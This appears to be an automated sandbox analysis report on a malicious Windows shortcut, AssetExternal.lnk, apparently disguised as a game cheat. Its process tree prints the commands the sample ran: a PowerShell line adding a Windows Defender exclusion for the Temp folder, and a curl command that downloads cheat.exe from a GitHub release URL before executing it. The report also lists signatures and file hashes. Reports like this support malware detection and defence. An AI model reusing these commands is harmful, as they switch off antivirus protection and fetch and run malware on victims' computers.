Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 23:59

General

  • Target
    AssetExternalV8/AssetExternal.lnk
  • Size 1KB
  • Sample260808-31te3azzgx
  • SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 7 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3340
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\dependencies\Libraries.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:2540
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1400
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:4792
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:4248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4264
        • C:\Windows\system32\curl.exe
          curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
          3⤵
          • Downloads MZ/PE file
          PID:852
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3068
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:6040
        • C:\Users\Admin\AppData\Local\Temp\cheat.exe
          "C:\Users\Admin\AppData\Local\Temp\cheat.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2804
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1976
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:5396

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          AssetExternal.lnk

          • Path C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk
          • Size 1KB
          • SHA256 3453abe59fb91f1531329102913ecac8abb86cbacd11e8f7d6b938474c8c2e8d
          • MD5 SHA1 SHA512 TLSH

          cheat.exe

          • Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
          • Size 676KB
          • SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4264-7-0x0000025FA9700000-0x0000025FA9722000-memory.dmp

          memory/4264-10-0x0000025FA97E0000-0x0000025FA97FE000-memory.dmp

          memory/4264-11-0x0000025FA9A60000-0x0000025FA9B12000-memory.dmp

          memory/4264-12-0x0000025FA9780000-0x0000025FA978A000-memory.dmp